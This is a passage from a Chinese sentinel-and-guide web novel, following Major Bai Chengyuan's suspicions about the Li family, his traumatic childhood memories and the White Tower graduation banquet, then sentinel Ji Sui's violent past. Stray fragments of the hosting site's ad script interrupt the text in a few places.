连路边的三岁小孩都知道多蒙国和邻国战事吃紧。李七作为指挥官,居然在这样一个敏感时期,派了半个哨所的哨兵去沦陷区采石? 疯了吧! 白成渊一脸不可置信的表情明显取悦到了韩申。 韩申从小就屈服在白成渊的淫.威之下,论成绩他比不上白成渊,论武力他也打不过对方,唯独在对外界感知这点上,白成渊要远远逊色于韩申。 这就导致韩申从小就对王室贵族的八卦密闻异常敏感,直到现在,就连皇家新闻报的人也不敢拍胸脯说自己比韩家大儿子知道的多。 为此,白成渊经常嘲笑韩申干脆去当狗仔算了。 后者虽然被揶揄地受不了,但是有了别的重磅消息,还是忍不住第一时间跑过来向发小分享。 白成渊也就被迫知道了许多军中的八卦丑闻,时常被各种跌破眼球的事情震碎三观。 任他想破脑袋也 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不明白,李七为何要做这费力不讨好的缺德事。 韩申明显对上了自家发小的脑电波,只见他微微一笑,伸出右手,食指朝上指了指天。 白成渊顿悟了。 李七发癫不是为了自己,而是为了他那个即将嫁入皇族的姐姐。 李四姐作为李家少数清醒的正常人,自小勤奋刻苦,向导天赋极高。 李家家大业大,是帝国数一数二的贵族。但真要说起来,还是差了那么点火候儿。 说来说去,还不是少了点皇室那边的关系。 而李四姐容貌端庄,性情直爽,为人落落大方,打从分化成向导那天起,李家就牟足了劲地想把她送进皇室。 索性李四姐不辱使命,年前就同皇室分支的一个小子订了婚。 虽说是分支,但好歹也是够上了皇室的边儿,李家自觉身份得到了转化,好歹也从普通贵族蜕变成了皇亲国戚,一心想干出一个大事来,以此赢得皇室正统的青睐。 李七虽然人嫌狗憎,却偏偏和李四姐的关系最好。最亲的姐姐眼看着就要嫁到皇室,他恨不得把天上的星星摘下来给姐姐当陪嫁。 星星是不可能了,但是现实一点的东西还是有的——彩瑛。 彩瑛这种矿石极其稀少,做首饰珠宝流光溢彩艳压群芳,做武器能源效用持久威力强大。 蒙多国疆土辽阔,也不过才开出了两条彩瑛矿脉。 一条是临近首都的,要紧着皇家自己用,而另一条,就是位于帝国北部边境的,如今已作为沦陷区的地方。 李七是李家老幺,性格蛮横骄躁,被家里的长辈宠得无法无天。但这事如此大的手笔,真要说李家完全不知情,又怎么可能。 能当嫁妆的珍贵物品千千万,李家却偏偏放任后辈胡作非为。 白成渊宁愿相信另一种解释—— 李家是想借着李七的手笔,偷偷将沦陷区的彩瑛矿脉接管过来。 这个推测看似离谱,实则有迹可循。 走私彩瑛的事情一旦成功,定能让李家赚得盆满钵满,说不定还能搅一搅帝国浑了这么多年的水,让一众家族的排名洗牌重来。 更何况,这事由李七来做,确实让人觉得合情合理。 谁会跟一个性格恶劣、罔顾人命的人渣去讨论一次性损耗品的问题? 白成渊直觉这事并不像明面上那样简单。如果他的猜测为真,那么李七这么多年的骄纵无礼,究竟有几分是真,几分是假? 只是,这终究还是个人猜测。 至于李七究竟是不是单纯为了彩瑛嫁妆才派哨兵前往沦陷区,李家又做了什么打算,这事还得找当事人了解。 白成渊深感十一号哨所是个烫手山芋,如今他已经走马上任,跑路肯定是来不及了。 当前形势还不明朗,只能走一步看一步。 他默默回想着韩申刚刚说的话。 当初前往沦陷区的哨兵,如今只有一个活着的了。 A-013。 李家之前那么着急要回A-013的处置权,说不定也有些想要对方永远闭嘴的意味。 白成渊有些苦恼地长叹了一声,怎么他才刚升职,就沾上这么多麻烦事! 5. 梦境 韩申离开后,白成渊心里惦记着李家的事情,也没有心情再去床上睡回笼觉。 他干脆跑到阳台抽了一支烟,然后去卫生间洗漱冲凉。 完成一切后,他裹着浴巾去卧室换衣服,从衣柜的一堆军装里翻出了一套崭新的军装。 作为军部的少校指挥官,白成渊一周七天有六天半都泡在行政大楼,军装被他穿得跟常服一样。 他现在一个月有三天的月假,这三天假期他一般都是宅在家里度过的,除非有紧急事件或者推脱不开的事情,否则他向来是风雨不动安如山。 当然,这种情况极为少见,一年不过就能遇到一两次。 但是好巧不巧,今天就恰好碰上了白成渊推脱不开、不得不外出的情况—— 他要作为指导嘉宾参加白塔一年一度的毕业宣讲典礼,还要留下来坐镇毕业晚会。 至于为什么他月假还要工作,究其根本,还是因为比他年轻的军官军衔不够高,比他军衔高的年纪大懒得来参加这种小儿科晚会。 白塔,作为帝国专门用于培养向导的地方,其内部运转体系与外界猜想的完全不同。 外界的普通人一直以为白塔是个类似于公主学院的美好地方,毕竟全国上下珍贵的未成年向导都在那里生活。 但其实真要类比,大概就相当于一个普通人去参加全日制无休的军校,而且一去就是最少七年,中间还不能回家。 这就直接导致了特种人的家庭观念较为淡薄。 经常有毕业生回家探亲,却发现自家已经搬走而爸妈忘记通知他的情况。 从分化为向导的那一刻起,特种人就会被白塔强制接收,并对其进行专业的指导和训练。 在进入白塔学习期间,向导不得私自外出,一举一动都要在白塔的监视下进行。 向导们面临着极大的课业压力,每年都要修满至少八门必修课,再加上选修与实战模拟,基本上没有私人时间。 即便如此,每年也有许多向导因为无法修满学分而延期毕业。 他们大多面临着被淘汰的风险,毕竟只有从白塔毕业的向导,才会被社会接纳,真正意义上拥有独立完整的人格。 白塔一般是七年学制,特种人大多在12岁觉醒分化进入白塔,学业顺利的话,二十岁之前就能从白塔毕业。 不过白成渊的情况有点特殊。他十四岁才正式觉醒为向导,后来又因为遇到了一些事情提前毕业。因此准确来讲,他只在白塔生活了短短两年——还是在新政发行之前。 所以他对那个酷似监狱的地方没什么归属感。 好在白塔也没指望白成渊在毕业典礼上倾情表演对母校的怀念。 如果不是新政要求毕业典礼必须要有校级军官出席,白塔负责人才懒得每年都挨个私敲终端窗口,用热脸蛋去贴人家的冷屁股——贴不贴得到还不一定。 去年的观礼嘉宾是韩申,今年白成渊升到了少校,自然就轮到了他。 这也是约定俗成的年轻军官与白塔之间的肮脏交易(划掉)。 对此,白成渊心里有苦说不出。 谁家好人上九休一,休息日还要被迫营业。 他苦着脸将胸前的徽章摆正,挥别了勤勤恳恳工作的三秋,转身离开了别墅。 设置好目的地后,悬浮车开始自动行驶。 白成渊靠在驾驶位上思索李家的事情,他感觉眼皮越来越沉,居然逐渐睡着了。 梦里,他变成了十四岁时的模样,正躲在一片树丛后。透过树叶的间隙,他一错不错地盯着铁丝网那边的空地。 一辆又一辆装甲车从安检处通过,停在了距离他堪堪一百米的地方。 车门推开,一双锃亮的黑色军靴从车上迈下来,是一名上尉军官。 他来到后面将车厢门打开,冲里面喊了一声,随后,源源不绝的士兵从车厢内跃出。 “真是好久不见。” 白成渊看到白塔的负责人上前拥抱住了上尉军官。 “这些都是刚毕业的哨兵。”上尉笑着指了指排列站好的士兵们,“一群新兵蛋子。” 哨兵们大多都很年轻,他们肩挎着枪械,胸背挺拔,稚嫩的脸上有着不符合年龄的坚毅。 “看起来这批士兵的战斗素养还都不错。”白塔的负责人客气说道。 “不错个屁,估计上了战场就是炮灰,连个响都没有。”上尉面带不虞,口气很冲,似乎对此很不满意。 负责人见状看了眼四周,压低声音,“怎么回事?不是前不久刚送上去一批吗……” 上尉冷哼一声,打断了对方的话。 “这些都是提前毕业的。上面挑了一些在塔内表现还不错的学生,直接把他们特批提前毕业了。” 他越说越气,踹了一脚旁边的树干,“他奶奶的,老子的兵老子还不知道?就他们这样的,上去了能活多久?” “哎呀,看看你,情绪总摆在脸上。” 见对方激动起来,负责人赶紧劝道:“你也是老兵了,军令如山你不知道?” 上尉不太服气,偏头啐了一口,这才转移了话题,问道:“安抚剂都准备好了吧?上面催得紧,让我取完物资就直接送他们去前线。” “真是操蛋,老子惹了一身腥,他们倒好,各个都有好名声。” 负责人闻言有些犹豫,拍了拍对方的肩膀,“准备好了,一共四千支,现在就能装车。” “四千支?不是说好的六千支吗?”上尉大声嚷嚷起来。 “嘘,嘘!别乱喊!” 负责人赶紧捂住对方的嘴,一脸无奈地抓着头发, “知足吧,这还是我偷偷给你留的。之前第三军向我要补给,我都没同意。这已经是最大限度了。” 见对方面露难色,上尉知道要不出更多的物资了,只好悻悻作罢。 两人似乎又小声说了什么,不过距离太远,白成渊听不清楚。 哨兵们被上尉分成两人一组,负责从仓库内搬运成箱的安抚剂。 白成渊观看了一会哨兵搬东西,感到有些无聊,打算悄悄原路返回。 他弯腰从树丛中穿过,一不小心踢到了一粒小石子。 这石子好巧不巧,滚到一旁的铁丝网上,发出一声不大的声响。 白成渊祈祷着哨兵们没有注意到这微不足道的声音,可惜事与愿违。 “谁在那?!” 上尉猛地抬头,目光如同鹰隼般犀利。 糟了! 白成渊心里暗道不妙。 他是背着大人偷偷跑出来的,如果被发现偷跑到铁丝网这边,肯定会被抓回去处罚。 上尉和负责人大步朝这边走来,白成渊有些绝望地闭上了双眼。 “报告!是我刚刚不小心踢到石头,撞上了铁丝网!” 一个哨兵的声音突然响起。 嗯? 白成渊有些不可置信。 听着对面的脚步声,他趴在地上,一动也不敢动。 “整天毛手毛脚的,净给老子惹麻烦!” 上尉没有怀疑,他踢了那名哨兵一脚,便又回到原来的位置上,同负责人聊天。 哨兵们继续闷头搬运物资。 见对方没有其他动作,白成渊停顿几分钟,不敢再有任何耽搁,爬起来头也没回地跑开了。 可能是太过紧张的原因,他的手脚止不住地颤抖,居然被地上凸起的土块绊倒…… …… “滴滴滴——” 闹钟响起,白成渊揉了揉惺忪的睡眼,缓了几秒钟,随后打开了车门。 悬浮车早已安稳地停在了白塔停车场里。 白塔的工作人员识趣地没有唤醒这位年轻军官,反正还没轮到他彩排,倒不如先在车里吹会暖风。 白塔的毕业典礼选在了阳光寂寥的冬日,正如白塔创始人的座右铭一样: 我将如同凛冬,永远坚定沉着、从容不迫,理智亦将伴随着我直到永恒死亡的降临。 白成渊不太喜欢这位创始人的座右铭,但是架不住白塔每年期末考试都要考默写。 他在心里默念着这句话,从车上走下去。 一时间,狂烈的北风裹挟着冷气吹散了他身上的暖意。 白成渊不禁缩了缩脖子,快步经过一片建筑废墟,径直走向了白塔主楼。 时间太过久远,许多事情早都模糊不清。可当他真正踏入这里时,才发觉,过去从未消逝。 尽管很多摆设都发生了变化,但依旧能看出大体的模样。 白成渊对这里实在太过熟悉了,那片废弃的建筑,曾作为观察区供所有大概率会觉醒为向导的预备役使用。 而他作为曾经的向导预备役,在这里生活了十二年。又因为分化成了向导,被转移到白塔内部集中看守了两年。 白塔那永远泛着寒光的一砖一瓦,就这样构建出了白成渊六分之一的人生。 恨吗?怨吗? 白成渊说不清楚。 从他记事起,白家就已经迁入到观察区内。 每天走在路上,周围尽是望不到尽头的矮楼和七八米高的通电铁丝网。 住在观察区的孩子们敏锐地察觉到大人们对这里的敌意,但这些事情离他们太过遥远,一片空白的人生经历还不足以支撑他们理解眼前的一切。 七八岁的孩子们也许不能理解为什么大人不让他们管这些一直居住的房子称为“家”,但孩童寻求乐趣的天性很快就驱使着他们结识了同样居住在附近的小伙伴 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 大人们很快就没了精力去管束他们,白成渊常常趁着大人说话的空隙偷跑出去呼朋引伴,和一些年龄相仿的孩子在矮楼中穿梭打闹。 等到白成渊玩累了,就会回到小屋中。 母亲会沉着脸将他拖到角落,粗鲁地拉开他的袖子。如果手臂上出现了新的针眼,她就会情绪失控地回到卧室里哭泣。 那时候白成渊不明白这是为什么,但他隐约知道,是自己手上的针孔惹母亲不开心了。 于是他开始想办法躲避白大褂,尽管他们的口袋里装着他无比喜爱的糖果。 很快白大褂们就注意到了这一点,他们强制将躲在树丛里的白成渊拉出来,从他身上抽了一管血,并且警告他如果下次还这么不配合,就将他关禁闭。 白成渊被抽了血,一直不敢回家。等在外面游荡了一整天,他才在夜晚降临前回到了小屋。 小屋门没锁,白成渊轻轻一拉就开了。 他等待着母亲严厉的责问,但是出乎意料的,什么都没发生。 眼前是混乱而又温馨的场景:桌面摆着碗筷,中央并排放着三道盛好的菜,椅子歪倒,汤匙被扔在地面,地砖上溅满了金黄色的汤汁。 白成渊很久没见过这样丰盛的晚餐了。 他走近餐桌,发现菜已经凉透了,地砖上出现了星星点点的血迹,以及一截……断裂的指甲。 血迹很快就被抹成一道长长的痕迹,一直延伸向卧室。 “……妈妈?” 白成渊心有胆怯地推开了虚掩着的卧室门。 他看到一向矜贵的母亲散乱着头发,披着一条毛毯坐在床边,在黑暗中一动不动,仿若一座雕塑。 “您怎么——” 话未说完,白成渊被巨大的冲力压倒在地。 母亲双手死死扼住他的喉咙,眼睛充血。 毛毯从她的身上划落,露出了里面破烂的衣衫。 窒息的感觉几欲将白成渊吞灭。 他挣扎着发出呜咽声,手指无力地在地面蜷缩起来。 “……你去哪了?” “你去哪了!” 母亲声嘶力竭地问他。 “你为什么总是要偷偷跑掉?你又跑去玩了是不是?” “你怎么什么都不懂?你怎么还这么没心没肺地活着!” 然后,她看到了白成渊手腕的针眼。 “去死吧!去死吧——” “你们都该死!” “都该下地狱!” 白成渊的意识渐渐模糊,他感觉到有冰冷的液体滴落在他的眼角,从脸上缓缓滑落。 那不是他的眼泪。 …… “少校,少校,您没事吧——” 天空忽然一暗,紧接着一张布满雀斑的年轻面庞出现在白成渊眼前。 “外面下雪了,您怎么不进来?” 年轻的工作人员撑着一把黑伞,热情地招呼白成渊进入白塔。 白成渊一踏入白塔门内,顿时被扑面而来的暖气热得呼吸一滞。 鸦羽般的眼睫上落着莹白的雪花,很快便在温暖的环境下融化成雪水。 晶莹的水珠点缀在白成渊的睫毛上,看起来就像刚哭过一样。 白成渊伸出手用力搓了搓冻僵的脸颊,感觉血液迅速上涌,连带着脸上也出现了暖意。 “我在外面透透气。白塔什么时候变得这么暖和了?” 白成渊话一出口,就后悔自己问了个蠢问题。 他进入白塔的时间正是向导最不受待见的那几年,塔内仅维持日常基本所需,从来不会奢侈地开通暖气。 到了冬天白成渊的手常常会生冻疮,又疼又痒,整只手都是火辣辣的。 现在向导们得到了解放,白塔内的生活自然今非昔比。 “早就听说少校您和韩中校有默契,” 工作人员的眼睛亮晶晶的,脸上浮现出了一种狂热的欢喜, “真不愧是当初的白塔双杰,连问的问题都一模一样。” 白成渊哑然失笑,当初为了给他找治冻疮的药,韩申快把整个白塔翻了个底朝天。 冬天刚到两人就盼着天气变暖,甚至在白成渊刚入职军部的那个冬天,韩申还神经质地送给他一副上好的旱獭皮手套,同时不忘叮嘱他要时刻戴着。 “去年也是你接待的?你是韩申的……粉丝?” “不完全是!”工作人员神秘一笑,不待白成渊再次提问,他赶紧说道: “少校,彩排马上就轮到您了,老师派我过来通知您一声,咱们得走快点儿。” 白成渊应了一声,一边跟随对方的脚步,一边打量起这位所谓的工作人员。 “你是白塔的学生?”他问。 6. 晚宴 工作人员闻言赶紧立正站好,身姿挺拔,右手并拢敬礼,铿锵有力回答道: “报告少校,我是白塔28级指挥系的学生,梁北。” 白成渊点了点头,“那你老师是……” “左丘平教授。” 听到这个名字,白成渊脸上的的表情瞬间僵住了。 没记错的话,他当初在白塔上学时的直系导师也叫左丘平。那个被白成渊和韩申称呼为“左老头”的古板老人。 想不到这么多年过去了,左老头还在白塔里教书。 老头子的脾气暴躁又古怪,轻易不愿意收学生。当初白家落难,他还是看在韩家的面子上,才勉强收留了白成渊。 白成渊在白塔里出了名的不学无术,对向哨精神链接这一方面的学术研究更是没什么兴趣。 大家都以为左老头创下的江山基业就要毁在他手上,没想到几年没见,老头子又有了新学生。 还是那种一看就是老师最爱的乖乖学霸款。 这是什么运气,恰好就碰到了同门小师弟? 梁北像是猜到了白成渊心中所想,讨好地笑了笑, “少校您可千万别告诉老师,接待的活儿是我偷偷和学姐换的。” 白成渊明白了。 左老头这是生怕他带坏了自己的宝贝学生,想方设法阻止两人师门相认呢! 不成想梁北听说今年请来的嘉宾是同门师兄,还没等白成渊干些什么,他自己就在暗地里做了手脚。 白成渊甚至能想到左老头吹胡子瞪眼威胁梁北的样子: “白成渊?他算个屁!你要是敢去见他,从今往后就当我就没你这个学生!” 白成渊好笑地点了点头,指着自己道: “左老头是不是说我不学无术?” 梁北见师兄同意了他的请求,瞬间满血复活,笑嘻嘻答道: “那倒没有。老师曾经说过:‘白成渊?那可是当今皇帝的小舅子!要不然以他那足以让我在教育界名声扫地的成绩,是怎么从白塔毕业的?” “既然你没人家那样的好姐姐,就赶紧沉下心思做研究,别净想些歪门邪道!听没听见?梁北!” 梁北努力学着左老头的口气,把自己的眼睛瞪得溜圆。 白成渊笑得不行。李家削尖了脑袋要往皇室里面跑,左老头倒好,有个当国舅的学生,还要处处挤兑他毕业时靠的是姐姐那边的“歪门邪道”。 不畏强权,一心只教圣贤书。 这确实很左老头。 白成渊擦了擦笑出的眼泪,继续逗自己的小师弟,“你别听他胡说,我从白塔毕业时候,我姐姐还没嫁入皇室呢,他这是在歪曲事实。” 梁北闻到了八卦的味道,正想要继续问下去,不知为何却突然噤了声。他冲白成渊挤了挤眼,然后一溜烟儿从旁边的小门跑了出去。 身手之快令白成渊也不禁愣了愣。 他心下感叹自己的小师弟学指挥实在埋没了天赋,去学格斗伏击指不定能大放异彩。 他抬眼往大堂里面一瞧,正好看见左老头站在几步之外数落着策划人,吐沫星子满天飞,喷的那个策划人连连点头哈腰,一句反驳的话都不敢说。 “老师,几年不见,您还是这么精神矍铄。” 左老头一听这熟悉的轻浮腔调,白花花的眉毛瞬间挑破天际,头像一挺机关枪扭转了方向,两眼直勾勾瞪着白成渊。 策划人得到了解放,感激地看了一眼白成渊,然后缩着脖子落荒而逃,只留下白成渊和左老头对峙。 “原来是白上尉,不,是白少校啊,有失远迎,实在是有失远迎。” 左老头面色阴沉地继续暗刺道: “还没来得及恭喜少校升迁呢,真是年轻有为。” 别人兴许听不懂什么意思,但对白成渊来讲,这话可就是杀人诛心了。 当初在白塔教过书的老师都知道,白塔双杰中的韩申才比白成渊大上两岁,当上中校已有四年之久,如今距离上校也不过是几步之遥。 这样的升迁速度就是同龄人也拍马不及。 而白成渊前段时间才刚升为少校,左老头压根就是在讽刺他没什么军功。 好在白成渊脸皮向来很厚,对这种事情早就习以为常,八风吹不动地以笑作答: “老师您谬赞了,学生还差得远呢。” 旁边人有些稀奇地瞧着两人的一唱一和,这场面与其说是师徒相见,倒不如说是仇人见面更为恰当。 只可惜他们还没看完热闹,左老头就扯开嗓子冲着人群大喊: “看什么看?幕布的事解决了?多亏是在彩排,要是正式宣讲出了这种幺蛾子,你们还干不干了?!” 说完就闷头往宣讲台的方向走,不再理会白成渊。 等到彩排结束,已经快到下午一点了。 参加宣讲的嘉宾以及工作人员都去白塔的餐厅解决午饭。午饭之后还有一个半小时的休整时间,然后宣讲大会就将正式开始。 白成渊趁着这个时机脱离了大部队,他要用终端向姐姐知会一声自己明天要去皇宫的事,没成想刚从转弯处走出来,就看到左老头居然站在那里。 白成渊想也不想扭头就走。 不成想他刚往回踏一步,左老头就出了声: “怎么?堂堂白少校还要躲我一个老头子?” “左老师这是哪的话。”白成渊见状,只得转身硬着头皮走上前。 他和左老头意见不合也不是一年两年的事了,很久之前两人的师生关系很紧密,甚至说白成渊一直将左老头当作自己的长辈。 但是当时两人意见不合,闹得太凶也太僵了,对彼此都撂下了狠话。 两个自尊心很高的人不愿轻易向对方低头,原本亲厚的师生关系变得愈发岌岌可危。 白成渊那时年轻气盛,当然不会惧怕自己的老师,所以在老头子的威胁之下,头都没回就走了。 从那之后,两人好像就再没单独见面过,最多不过是在一些避不开的公共场合互呛几句。 “白少校最近在忙些什么?” 这个开展属实超乎他的意料,白成渊一时间竟不知作何回答。 “忙调职的事情。”他含糊作答。 “白成渊!” 左老头的声调一下子拔高了八个度,那掩饰不住的汹涌怒意让白成渊恍惚间回到了八年前两人彻底决裂的那一天。 “打从见面起我就没感觉到你的向导素!今儿我是看见你那张脸了,要不然我还以为自己身边站了个普通人呢?!” “白成渊你究竟怎么想的,你是不是还在做那种伤敌一千自损八百的事?你还想不想活了?” 白成渊很熟悉左老头脸上的表情,一如八年前那般恨铁不成钢。 他想解释说自己向导素那么淡是因为昨晚救了一名哨兵,没存货了,但是话到嘴边,却又无法说出口。 解释清楚又能怎样?说到这个哨兵又要提自己调任的事,还要解释李家在这件事中的作用。 这样的事情没完没了,解释不完,也解释不清。 他明确知道,一切早都回不去了。 要是能冰释前嫌,两人也不至于八年间从未私下见面。 于是,他看着左老头,语气淡淡道: “不劳左老师费心,我还有事情要忙,您请便。” 说完,便从左老头身边绕过去。 走到拐角,白成渊想回个头,但到底是狠下了心,扬长而去。 等他发完消息回到宣讲现场,工作人员已经陆陆续续到位了。 入口处人头攒动,大厅后面一排排的椅子上已经坐满了人,窃窃私语声汇成一片汪洋,吵得缺少睡眠的白成渊头有点疼。 好在白塔的学生还算训练有素,嘉宾一入场后,交谈声也静了下来,一个个都探着脑袋往主席台上张望。 主持人上台宣布宣讲毕业典礼正式开始,白成渊表面上认真倾听,不时微笑点头,可心思早就飘到了别处。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 等到宣讲会结束,一行人还要按照惯例,跟随负责人去宴会厅参加毕业晚宴。 宴会上各行各业的人多了起来,除了参加宣讲的嘉宾和毕业生,还有很多军部的专员和外界人士。 各大军团也会趁着这个机会招揽人才,还有的人为了谈生意而来,或者只是单纯想来这里发展一下人脉。 心怀鬼胎的大人们借以庆祝的名义参加毕业晚会,相互攀谈进行利益置换,而那些本该是“主角”的毕业生们,则像一群掉在狼群里的小绵羊,懵懵懂懂地站在自助餐面前埋头苦吃。 白成渊从一波前来寒暄的人中挣脱出去,没走几步又被另一群人围住。 等到他好不容易口干舌燥脱离了人群,又看着李家老二被众星捧月地围着走来。 “哟,我当是谁,原来是白公子!”语气不可谓不轻佻。 “李副官客气,既然是以军人的身份参加晚宴,叫我白少校就好。”白成渊皮笑肉不笑地说。 李家老二本来想先装模作样寒暄几句,不成想白成渊直接下了他的面子,登时脸黑得像锅底。 “白少校好大的兴致,听说您用私印从审判所捞了个谋杀上司的哨兵出来。” 白成渊心底冷笑,面上依旧不动声色:“哪里哪里,李副官不要听信小人胡言,审判所连证据都拿不出来,想来是我那小队长做事直白不懂迂回,不小心得罪了别人才对。” 李·小人·二咬牙切齿:“苍蝇不叮无缝的蛋,那哨兵要真像您说得那么无辜,又怎么会被人给弄到监狱里?” 白成渊微微摇头,“俗话说‘阎王好见,小鬼难缠’,就算再无辜的人,也要提防小人偷偷使绊子,您说是不是这个道理?” 李家老二虚伪的面具被彻底撕开,他阴森森地瞟着白成渊,威胁道:“白少校,你是不是成心要跟我过不去了?” 如果眼刀能杀人,那白成渊早就被对方的眼神杀个几百来回了。 只可惜他皮糙肉厚,这招对他的实际伤害为零。 只见白成渊挑眉一笑,仿若冰雪消融过后的初春,让周围的人齐齐吸气,沉溺于他这一副好皮相里。 “李副官,世间万事哪有什么过不过得去,做人做事无非讲究一个问心无愧。” “令弟的事我听了心痛不已,但同时也好奇得很,究竟因为什么,才能叫我那哨所凭空减员了十二人?” “不知李副官能不能为我指点一二?” 此话一出,便见李家老二的脸色难看至极。他嗤笑一声,满不在乎: “哨兵在前线作战,减员也是司空见惯。白少校既然坚持如此,那我们便看看究竟谁能笑到最后。” “拭目以待。” 白成渊欣然应战,李家已经把话挑明,他自然也没什么可畏惧的。 看对方的反应,白成渊确信李家也掺和到这件事里了。 他向李二点了点头,随后便转身走到了会场的另一边。 场上的其他人自然能感觉到两人之间的暗流涌动,不过好在在场的都是人精,不会真叫场面冷下来。气氛很快就恢复过来,甚至还有愈加攀向顶端的趋势。 白成渊心累不已,从侍者那拿了一杯红酒,轻抿了一口。 简直比他连续指挥作战九个小时还累。 看着远处向他走来的人群,白成渊赶紧端着高脚杯躲进了旁边的阳台。 眺望远处浮现的灯海,巨大的城市像是耸立于地面的钢铁森林。高架桥上的悬浮车疾驰而过,像是在铁树枝上飞速游走的蝰蛇。 作为帝国的首都以及经济中心,西港夜晚的灯光永不熄灭。 白成渊手腕的终端微微一震,他低头一看,发现请求通话的是一个陌生号码。 接起终端,出乎意料听到了一道有些低沉的男声。 对面的人似乎有些迟疑,片刻后开口道: “你好,指挥官。” 白成渊几乎瞬间就确定了对方的身份: A-013。 7. 季绥 A-013,也就是季绥,正漫步在无尽的黑暗之中。 不知过了多久,他看到远处燃起了星星点点的火焰。 腺体抑制器得到权限解除,被封闭的哨兵五感在这一刻发挥到了极致。 他看到了夜空中有什么黑色物体在高速移动,听到了身后传来的沉重脚步声与呼吸声,还有军靴踩踏树枝发出的脆响。 他吸了吸鼻子,一股潮湿的泥土腥气登时窜入了他的鼻中,空气里还漂浮着似有似无的铁锈味。 强烈的第六感突然在脑中炸开。 此时此刻,他的大脑已经拉响了警报。 跑! 快跑! 千万别停! 他想要提醒跟在身后的兄弟们,但是一切已经来不及了。 破空的锐响在耳边炸开的瞬间,季绥下意识躬身抱住脑袋。 强烈的冲击力将他撞飞了七八米,一路撞折了好几棵纤细的小树。 在他腾空的刹那,耀眼的火光占据了他的全部视线,灼灼烈焰在他刚刚所在的位置上肆意燃烧,高温形成的巨口正吞噬着一切。 季绥感觉自己的身体在剧烈疼痛,双眼却无论如何也无法睁开。 等到再醒来,他已经出现在哨所了。 有兄弟在边境巡逻时发现了身负重伤、奄奄一息的他,于是赶紧将他带回了哨所。 没人知道他是怎么拼着一口气从沦陷区里逃回来的。 所有人的目光同时投向他,季绥感觉到了一阵没顶的窒息感。 出发时一共十三人。 回来的时候却只剩下了他自己。 怎么会这样。 怎么, 又是这样。 他的牙齿咬得咯咯作响,额角青筋暴起,将终端怒而砸向地面。 该怎么做,该怎么做。 他活像一只陷于囚笼的野兽,满腔郁火困于胸腔不得宣泄。 横跨半个胸膛的伤口随着他的动作再次撕裂。 疼痛撕扯着他的神经,看着成股成股涌出的鲜血,季绥没由来地感受到了清醒。 那种从未有过的清醒,伴随着孤注一掷的疯狂,占据了他的所有思想。 他不能什么都不做。 他不能无动于衷。 季绥想,他的兄弟们还在看着他。 军用终端的质量非常好,即使在季绥盛怒的摔打之下,也还能勉强使用。 过人的视力让他只是轻轻一瞥,就看清了屏幕上来电的人名,季绥忽地平静下来。 像一只嗜血的野兽,耐心等待着猎物的到来。 季绥兀的勾起嘴角,诡异地笑了起来。 他走到墙角将终端捡起,冷静地接通了电话。 “喂——” “怎么回事?这点事情都办不好?”终端那边传来了气急败坏的声音。 季绥体内的暴虐因子跃跃欲试。 在他身后的空地上,凭空出现了一只凶狼。凶狼微微张开巨口,腥气顺着它的嘴巴喷出,露出两侧尖锐的牙齿,隐约还能看见上面残留的丝丝缕缕的血迹。 狩猎的欲.望在这一刻达到了顶峰。 灰狼有些焦躁地围着季绥打转。 别急。 季绥摸了摸狼的脊背,又像是在安抚自己。 别急。 终于,他用尽自己毕生的力气,才不含任何感情、平静地说出了那句他蓄谋已久的话: “现场的情况三句两句说不清楚,我这里有监听,你来开启精神链接吧——” 精神链接连通的瞬间,季绥的精神力铺天盖地袭卷了过去。 狩猎开始了。 他舔了舔干裂的嘴唇。 后面的事情逐渐变得模糊,季绥记得自己好像听见了男人的哀求,先是是痛叫恐吓,然后是那令人毛骨悚然的凄厉嘶嚎。 真悦耳。 真想再听一次。 季绥知道,这不是他平时的模样。 或者说,平日里他压抑的暴戾与残忍,如今都被不受控制地释放出来。 他看到自己在精神图景里用残忍的手法杀了那个向导。 他看到现实世界的自己眼角染上了猩红,失去理智地四处打砸。 他的精神突然陷入了狂乱。 这不是一个好征兆。 哨兵一旦陷入狂乱,除非被武力镇压,否则就会一直发疯,直到力竭而亡。 哨所里的其他人恐慌地想要制止他的行为,却无一例外被他打伤。 季绥感觉自己的灵魂正渐渐剥离躯体,此刻的他,正飘在半空中,冷眼看着自己被闯入哨所的武装人员强制注射大剂量镇定剂。 好累啊。 他大闹了一场,精神已经疲惫不堪,可是身体却还亢奋不已。 又是两针镇定剂,武装人员像是对待牲畜一样为季绥戴上了口枷。 腺体抑制器狠狠钉在他的脖子后面,强电流窜过他的四肢百骸,作为哨兵的体力优势霎时就被抹平了。 一瞬间,铺天盖地的困意将他吞没。 季绥缓缓闭上了双眼。 后面的事情,变得断断续续。 他记得自己被吊在暗无天日的地方,每天与之相伴的只有疼痛。 求生不能求死不得。 每天都有人打开他的脑子,去探索他掩藏在记忆深处的秘密。 那本该用于温柔安抚的精神丝,如今化作一道道利刃,狠狠将他的大脑切开。 好疼啊。 好疼啊。 好疼,好疼,好疼。 他终于忍不住发出嘶吼。 本就久病不治的精神图景被人恶意摧残捣弄。那种痛感,像是有人砸碎他的脊柱,抽取里面的髓质,又像是有人将一根烧红的铁棒,插入他的大脑里反复搅动。 “你有什么想说的吗?”冷酷的声音在他身边响起。 血水淌进季绥的眼睛里,让他的眼前一片猩红。 他看不清对方的模样,只能像是个瞎子一样凭着直觉将头转向对方。 “弄死我……”他一字一顿地说,血水顺着他的嘴角缓缓淌下, “……不然,迟早有一天,你也要像那个家伙一样,被我折磨而死。” 话音未落,那种让人痛不欲生的感觉再次袭来,季绥的身体剧烈抽搐,用于固定四肢的铁链发生猛烈撞击。 然后,他如愿以偿地晕了过去。 大概又过了很久。 季绥不知道具体的时间。 反正他快要死了。 他好久都不曾梦到自己年幼的事情了。 他梦到自己藏在老家坍塌的房屋下,等待着父母来救他。 年幼的自己是那样彷徨无措,季绥看着那畏畏缩缩的自己,鲜少感觉到了新鲜感。 你爸妈不会过来的。 他不无恶意地对那个年幼的孩子说。 他们都死啦。 再不爬出来,你也要死啦。 房子就快要塌了,你马上就能和他们去做伴了。 但是幼年的自己显然听不到他的声音。 他依旧颤抖地躲在半倒塌的屋子里,嘴里念着父母,乞求有人来救救他。 不会有人的。 季绥想。 